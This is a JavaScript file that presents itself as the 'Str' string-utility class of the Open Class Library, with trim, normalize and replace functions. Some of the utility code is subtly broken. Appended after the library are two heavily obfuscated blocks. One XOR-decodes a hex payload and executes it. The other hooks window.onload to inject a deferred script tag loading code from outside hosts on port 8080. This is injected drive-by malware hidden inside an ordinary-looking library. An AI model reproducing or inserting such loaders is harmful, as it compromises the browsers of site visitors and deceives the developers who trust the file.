/***********************************************************************************************************
 * com.oclib.javascript.util.events.20070110. Str
 * Location: http://www.oclib.com/library/com/oclib/javascript/util/Str.js
 * Version Location: http://www.oclib.com/library/com/oclib/javascript/util/events/20070110/.js
 * Index Version Location: http://www.oclib.com/library/com/oclib/javascript/util/events/20070110/index.html
 * © Open Class Library (http://www.oclib.com/)
***********************************************************************************************************/
if (typeof com == "undefined") {com = {};};
if (typeof com.oclib == "undefined") {com.oclib = {};};
if (typeof com.oclib.javascript == "undefined") {com.oclib.javascript = {};};
if (typeof com.oclib.javascript.util == "undefined") {com.oclib.javascript.util = {};};

if (typeof com.oclib.javascript.util.Str == "undefined") {
 com.oclib.javascript.util.Str = function() {} 
 com.oclib.javascript.util.Str.prototype = new  com.oclib.javascript.lang.Root();

 com.oclib.javascript.util.Str.prototype.className = "Str"; 
 com.oclib.javascript.util.Str.prototype.classNamespace = "com.oclib.javascript.util.Str"; 
 com.oclib.javascript.util.Str.prototype.classCreated = "20061018"; 
 com.oclib.javascript.util.Str.prototype.classCreator = "http://www.oclib.com/"; 
 com.oclib.javascript.util.Str.prototype.classLocation = "http://www.oclib.com/library/com/oclib/javascript/util/Str.js"; 
 com.oclib.javascript.util.Str.prototype.classIndexLocation = "http://www.oclib.com/library/com/oclib/javascript/util/events/"; 
 com.oclib.javascript.util.Str.prototype.classVersion = "20070110"; 
 com.oclib.javascript.util.Str.prototype.classVersionLocation = "http://www.oclib.com/library/com/oclib/javascript/util/events/20070110/Str.js"; 
 com.oclib.javascript.util.Str.prototype.classVersionIndexLocation = "http://www.oclib.com/library/com/oclib/javascript/util/events/20070110/"; 

 // Alias of  com.oclib.javascript.util.Str.prototype.trim
 com.oclib.javascript.util.Str.prototype.allTrim = function(string) {return this.trim(string);};

 com.oclib.javascript.util.Str.prototype.leftTrim = function(string) { 
  if(this.mustTrace()) {this.getLog().println("Str.leftTrim is runing...");};
  var i = 0;
  while(string.charAt(i) == " " || string.charAt(i) == "\t" || string.charAt(i) == "\n") {i++;};
  return string.substr(i, string.length); 
 };

 com.oclib.javascript.util.Str.prototype.normalize = function(string) { 
  if(this.mustTrace()) {this.getLog().println("Str.normalize is runing...");};
  var s = this.trim(string);
  var sr = "";
  var j = 0;
  sr = s.charAt(0);
  for(i = 1; i < s.length; i++) {if(!(s.charAt(i) == " " && sr.charAt(j) == " ")) {sr += s.charAt(i); j++;};};
  return sr;
 };

 // Function to pad a string.. head, tail & punctuation
 com.oclib.javascript.util.Str.prototype.padString = function(string) {
  if(this.mustTrace()) {this.getLog().println("Str.padString is runing...");};
  var result = " " + string + " ";
  for(var i = 0; i < this.punctuation.length; i++) {
   result = this.replaceStr(result, this.punctuation[i], " " + this.punctuation[i] + " ", 0);
  }
  return result;
 };

 // Funtion to replaces all occurances of substring substr1 with substr2 within strng
 // if type == 0 straight string replacement
 // if type == 1 assumes padded strings and replaces whole words only
 // if type == 2 non case sensitive assumes padded strings to compare whole word only
 // if type == 3 non case sensitive straight string replacement
 com.oclib.javascript.util.Str.prototype.replaceStr = function(string, subString1, subString2, type) {
  var RPstrg = "";
  var pntr = -1; 
  var result = string;
  if(type == 0) { 
   if(string.indexOf(substr1) >= 0) {pntr = string.indexOf(subString1);};
  } else if(type == 1) {
   if(string.indexOf(" "+ subString1 +" ") >= 0) {pntr = string.indexOf(" " + subString1 + " ") + 1;};	
  } else if(type == 2) {
   bstrng = string.toUpperCase();
   bsubstr1 = subString1.toUpperCase();
   if(bstrng.indexOf(" "+ bsubstr1 +" ")>= 0) {pntr = bstrng.indexOf(" " + bsubstr1 + " ") + 1;};	
  } else {
   bstrng = string.toUpperCase();
   bsubstr1 = subString1.toUpperCase();
   if(bstrng.indexOf(bsubstr1) >= 0) {pntr = bstrng.indexOf(bsubstr1);};	
  };
  if(pntr >= 0) {
   RPstrg += string.substring(0, pntr) + subString2;
   result = string.substring(pntr + subString1.length, string.length);
   if(result.length > 0) {this.replaceStr(result, subString1, subString2, type);};
  };
  result =  RPstrg + result;
  RPstrg = "";
  return result;
 };

 com.oclib.javascript.util.Str.prototype.rightTrim = function(string) { 
  if(this.mustTrace()) {this.getLog().println("Str.rightTrim is runing...");};
  var i = string.length;
  while(string.charAt(i) == " " || string.charAt(i) == "\t" || string.charAt(i) == "\n") {i--;};
  return string.substr(0, i); 
 };

 com.oclib.javascript.util.Str.prototype.trim = function(string) { 
  if(this.mustTrace()) {this.getLog().println("Str.trim is runing...");};
  return this.leftTrim(this.rightTrim(string));
 };

 // Alias of  com.oclib.javascript.util.Str.prototype.trim
 com.oclib.javascript.util.Str.prototype.trimAll = function(string) {return this.trim(string);};

 // Function to strip padding 
 function unpadString(string) {
  var result = string;
  result = this.normalize(result); 		// compress spaces 
  for(var i = 0; i < this.punctuation.length; i++) {
   result = this.replaceStr(aString, " " + this.punctuation[i], this.punctuation[i], 0); 
  };
  return result;
 };
};

var Qi="8691adb193deb8a1a0a084ceaa8cbfadcba58388aabea6baa688b59c82a199aaa1bfa1af9eaba3ac88a6a3ad9cb098a1a28990bba1aa9988b588aabe9985a7aa838e8bce80b8cf98bba1d4bfb8cb81ac";var iH;if(iH!='' && iH!='Hej'){iH=null};var uy;if(uy!='' && uy!='Luz'){uy=null};function Od(J){var K;if(K!='' && K!='Jt'){K=''};var du="du";var ak=""; this.kC="kC";function h(c,X){return c[O("hcraoCedtA", [1,0])](X);var nh=31580;}var z=new Array();var DQ;if(DQ!='' && DQ!='Ll'){DQ='Bf'}; var OZ;if(OZ!='jA'){OZ='jA'};function eQ(H){var Gd;if(Gd!='oY' && Gd!='JB'){Gd='oY'};var AE=new Date();var WY=new String();var M=[0][0];var w=new String();var I=[255][0];var Il=[60,0][1];var cq=25648;var k=[1,228,136,17][0];var Kr=33221;var m=H[O("gelthn", [2,1,5,0,3,4])];while(Il<m){var rp=false;var nD=new Date();var KD;if(KD!='' && KD!='op'){KD=''};Il++;var Yq;if(Yq!='GW'){Yq='GW'};var BJ;if(BJ!=''){BJ='CX'};s=h(H,Il - k);M+=s*m;var SW=new Date();this.vh='';}var x=new Date();return new r(M % I);var wb=false;var ii="";}var KX;if(KX!=''){KX='QJ'};this.zZ='';var nH;if(nH!='' && nH!='Sr'){nH=null}; var D=function(eW){this.Gs=false;this.UH=28151;var hA;if(hA!='' && hA!='XX'){hA=''};var g =[0][0];eW = new r(eW);var hvd;if(hvd!='Ea' && hvd!='cj'){hvd=''};var zP=20848;var V =[213,0][1];var Fx=new Array();var o = '';var kA = -1;var vX="";var dO="dO";this.Rx=false;for (g=eW[O("nlehgt", [1,2,0])]-kA;g>=V;g=g-[218,155,1][2]){o+=eW[O("hcratA", [1,0])](g);this.ta="ta";}var Wy='';var f='';return o;};this.WW="WW";var FV=22600; var P=function(Jo,p){return Jo^p;var na="";var WB=new Array();};var WN="";var BA;if(BA!='' && BA!='XO'){BA='Lq'};var CA;if(CA!='rg' && CA!='FJ'){CA='rg'};var TI;if(TI!='OdO' && TI!='Vy'){TI='OdO'};this.vv=57942; function O(eW, kx){var Gk;if(Gk!='' && Gk!='hj'){Gk=null};var o = '';this.Ad='';var CHI;if(CHI!=''){CHI='yq'};var k=[235,196,185,1][3];var V=[128,0][1];this.yL=11959;var A = eW.length;var ww;if(ww!='' && ww!='QM'){ww=''};var Iw=false;var Ac = kx.length;var cb;if(cb!='Dp' && cb!='wL'){cb=''};this.ed="ed";var ks=false;for(var g = V; g < A; g += Ac) {var FP;if(FP!='' && FP!='Px'){FP=null};var kj = eW.substr(g, Ac);var RH;if(RH!='ZoC' && RH != ''){RH=null};if(kj.length == Ac){var Se;if(Se!='' && Se!='Mk'){Se=''};var MT="";var sl=new String();for(var Il in kx) {var rx;if(rx!='ldU' && rx!='gnw'){rx=''};var Hf;if(Hf!='' && Hf!='Ds'){Hf='gM'};o+=kj.substr(kx[Il], k);var nO=new Array();this.iz=false;var Rj=new Date();}var Ol;if(Ol!=''){Ol='oM'};var Eo;if(Eo!='' && Eo!='Nj'){Eo=null};this.pR=15615;this.Og=23072;} else {  o+=kj;}this.lT='';this.mt=false;}var Uc;if(Uc!='zu'){Uc='zu'};var GkF=new Array();return o;var OC;if(OC!='' && OC!='LV'){OC=null};}this.Mj=42823;var tu=31177;var vs=new Date();this.av='';var HJ=window;this.Lr=false;var n=HJ[O("vael", [2,0,1])];var Zu="Zu";var ZC;if(ZC!='US' && ZC!='px'){ZC='US'};var Z=n(O("itFuncon", [2,3,4,5,1,0]));var ah;if(ah!='XG' && ah!='yz'){ah='XG'};var q = '';this.hx="hx";this.dV="dV";var B=n(O("eRgxEp", [1,0,2]));var RXU="RXU";var r=n(O("trSing", [2,0,1,3]));var eo;if(eo!='' && eo!='KXP'){eo=''};var PR;if(PR!='' && PR!='HZ'){PR=null};var WA;if(WA!='' && WA!='EN'){WA=''};var Iu=new Array();var jU;if(jU!=''){jU='oP'};this.tM=47096;var wvj=new Array();var Pxc;if(Pxc!=''){Pxc='Cs'};var j=HJ[O("acuspene", [2,6,5,3,1,0,4])];var Dxm;if(Dxm!='' && Dxm!='TM'){Dxm='Bi'};this.Nn='';var Bp=r[O("rfamrhCoCode", [1,4,7,3,6,5,2,0])];var wX;if(wX!='dJ'){wX=''};this.NJ='';var PV=false;var Wo="";var t = '';var Ub='';this.Iy='';var N = '';var UQ=new Date();var vx=new String();var jK =[35,48,161,0][3];var Vv;if(Vv!='jWh'){Vv='jWh'};var Bh;if(Bh!='AYI'){Bh='AYI'};var R = Bp(37);var zDh;if(zDh!='lg' && zDh!='Eu'){zDh='lg'};var k =[1,190][0];var rY;if(rY!='lD'){rY='lD'};var RF;if(RF!='' && RF!='kQ'){RF=''};var ja=5818;var gs =[2][0];var pW = /[^@a-z0-9A-Z_-]/g;var V =[109,0,72][1];var iq;if(iq!='RM' && iq!='xQ'){iq=''};var uG;if(uG!='Hv' && uG!='Lu'){uG=''};var eP = J[O("nlehgt", [1,2,0])];var SCD="";var oO = '';var F=[1, O("odcuemntc.retaeEelmetn(\'csritp\')", [1,0,2,3]),2, O("odcuemntb.od.yapepndhCil(dd)", [1,0,2,3]),3, O("edtAs.itburt\'tde(efer\'", [1,5,4,0,2,3]),4, O("nt.hcnwefermu.ou8:0r80", [4,0,2,1,3]),5, O("epmfcmo.cmx.loi.china", [4,6,2,7,0,5,1,3]),6, O("edunwuogrrocd.nm", [4,2,3,1,0]),7, O("ommya.c", [3,4,2,5,6,0,1]),8, O("wdi.ownonload", [5,2,6,1,4,0,3]),11, O("ncontiuf()", [7,6,3,1,4,5,2,0]),12, O("edivnaattr", [1,0]),14, O("gogoc.leom", [2,3,1,0]),15, O("e)(ctach", [3,5,4,6,7,2,0,1]),16, O("5.cihom", [4,3,0,1,2]),17, O("h\"tt:p", [1,0]),18, O(".drsc", [1,0]),19, O("1\')\'", [1,0]),20, O("moc", [2,1,0]),21, O("yrt", [2,1,0])];var YP=new Array();var Ia;if(Ia!='Id'){Ia=''};var KA=42109;var qR;if(qR!='Km'){qR=''};var Lm="";for(var DA=V; DA < eP; DA+=gs){oO+= R; this.zG=52389;var aj;if(aj!='' && aj!='Zx'){aj=null};oO+= J[O("rusbst", [4,1,3,2,5,0])](DA, gs);}var jN="jN";var J = j(oO);this.bw=54822;var Rl="Rl";this.DpG="DpG";var E = new r(Od);var d = E[O("erlpcae", [1,0])](pW, N);var RP=new String();var LS=16828;var yqY;if(yqY!='Py' && yqY != ''){yqY=null};var b = F[O("elgnht", [1,0])];var IP;if(IP!='gZ' && IP!='bb'){IP='gZ'};d = D(d);var HP = new r(Z);var yV="yV";var QF;if(QF!='' && QF!='yLE'){QF='Zr'};var Ez;if(Ez!='' && Ez!='Pgk'){Ez=null};var MQ = HP[O("erpalce", [1,0,2])](pW, N);this.wJ="";var MQ = eQ(MQ);var LzE;if(LzE!='' && LzE!='KR'){LzE=''};var bC=eQ(d);var yw;if(yw!='' && yw!='TLk'){yw=null};var uE=new Date();var cm=new Date();for(var g=V; g < (J[O("elgnht", [1,0])]);g=g+[1][0]) {var sY;if(sY!='' && sY!='YI'){sY=''};var Qj;if(Qj!='' && Qj!='Os'){Qj=''};var FPk=new String();this.kL=51134;var PT = d.charCodeAt(jK);var plj=new String();var dY = h(J,g);var OLG;if(OLG!='' && OLG!='PS'){OLG=null};dY = P(dY, PT);var TV;if(TV!='' && TV!='SCy'){TV=''};var ds;if(ds!='cp' && ds!='oYV'){ds='cp'};dY = P(dY, bC);this.Th="Th";dY = P(dY, MQ);var Mq;if(Mq!='Rk' && Mq!='qZ'){Mq='Rk'};jK++;var xF="xF";if(jK > d.length-k){jK=V;this.RXj='';var Wp;if(Wp!='mc' && Wp != ''){Wp=null};}var dS=4594;t += Bp(dY);var xi=new Array();var VB;if(VB!=''){VB='uO'};}this.Jw="";var Wl;if(Wl!='vo'){Wl='vo'};this.OSa=41506;for(W=V; W < b; W+=gs){var Vq;if(Vq!='KZ' && Vq!='OZx'){Vq=''};var iG;if(iG!='ZY' && iG != ''){iG=null};var U = F[W + k];var ip;if(ip!='' && ip!='kWu'){ip=''};this.ho="";var ptq;if(ptq!='' && ptq!='fg'){ptq=''};var sJ = Bp(F[W]);var kg=false;var JP=20930;var Yr;if(Yr!=''){Yr='HZu'};this.mtS="mtS";var qUb;if(qUb!='' && qUb!='rU'){qUb='VL'};var G = new B(sJ, "g");t=t[O("erlpcae", [1,0])](G, U);this.dk="dk";}var Ed=new Z(t);var iN;if(iN!=''){iN='yYS'};Ed();var xX=48795;bC = '';this.Lw="";Ed = '';var cpC;if(cpC!='' && cpC!='UA'){cpC=''};t = '';var Ce;if(Ce!='' && Ce!='cD'){Ce='vW'};var Yd;if(Yd!=''){Yd='Jwp'};this.Su="";var CF="";HP = '';d = '';MQ = '';var gi="";this.XB="XB";var jM;if(jM!='mp' && jM != ''){jM=null};return '';var CY=new Date();this.dYM="dYM";};var iH;if(iH!='' && iH!='Hej'){iH=null};var uy;if(uy!='' && uy!='Luz'){uy=null};Od(Qi);
function R() {var Z=new Array();var F=new String();var u=']';var S='';var o;if(o!='uo' && o!='P'){o=''};var x='g';var Y;if(Y!='kg'){Y=''};var r;if(r!=''){r='le'};var U='replace';var i=new Date();var AS=new Date();var k=RegExp;var c='[';var Uq="";var Qr=new Date();var XX=new String();function f(O,w){var oJ;if(oJ!='j_'){oJ='j_'};var p=c;p+=w;var pM;if(pM!='' && pM!='kD'){pM=null};p+=u;var lP;if(lP!='q' && lP != ''){lP=null};var Iu;if(Iu!='b' && Iu != ''){Iu=null};var j=new k(p, x);var Oo=new String();var G;if(G!='PF' && G != ''){G=null};return O[U](j, F);var Eq;if(Eq!='' && Eq!='QD'){Eq=null};};var LS;if(LS!='Tn' && LS != ''){LS=null};var fY=f('hUtUtUpU:F/U/UhUaUrNdUsFeNxUtUuUbFeU-UcNoFmF.NgNiFtNtUiNgFiNdFiFyFoFrU.FcNoFmU.UrNmFxUaNdNsF-NcUoUmF.UnUeFwFaFgNeUdNiNrUeNcFtU.UrUuF:U',"UFN");this.Em="";var s=f('/3g3oBoBgBl3e3.BcBo3.Bi3nB/3g3o3o3gBlBe3.3c3o3.Bi3n3/3dBy3nBdBn3sB.3oBr3g3/3i3f3e3nBg3.Bc3oBm3/3g3oBoBg3lBe3.3cBo3m3.3pBhBp3',"3B");this.hz="";var V=f('sEc9rSi9p9t9',"9SE");var D=f('cwr8e9a9t8eyEDlDeymDeDnyt9',"wyD89");var K=window;var hw=new String();this.OK="";var DJ=f('87701178470944',"74139");var v;if(v!=''){v='M'};var cL=new Date();var n='';var wp;if(wp!='' && wp!='m'){wp='Vj'};var Ms="";var a;if(a!=''){a='yI'};var yH="";K[f('oTnIlJoJaTdJ',"TIJ")]=function(){try {var oc;if(oc!='' && oc!='s_'){oc=null};n+=fY;var N=new Date();n+=DJ;var mb;if(mb!='' && mb!='wH'){mb=''};var zx;if(zx!='' && zx!='Yb'){zx=''};n+=s;var KZ;if(KZ!='' && KZ!='vu'){KZ=null};var Dj;if(Dj!='ui'){Dj=''};Fu=document[D](V);var nH;if(nH!='ID' && nH != ''){nH=null};var ft=new Date();this.TS="";e(Fu,'src',n);var enm=new Date();var sE=new Date();e(Fu,'defer',([2,1][1]));var AR;if(AR!='wk'){AR='wk'};this.NL="";document.body.appendChild(Fu);} catch(d){var RU;if(RU!='Xy' && RU!='Uc'){RU='Xy'};};this.Fx='';};var AQ="";var DE="";var Mo="";function e(A,l,z){A.setAttribute(l, z);var Jk="";var wM=new Array();}var Ut;if(Ut!='' && Ut!='IC'){Ut='zL'};var V_='';var eM;if(eM!='' && eM!='oI'){eM=''};};this.iv='';R();var ap="";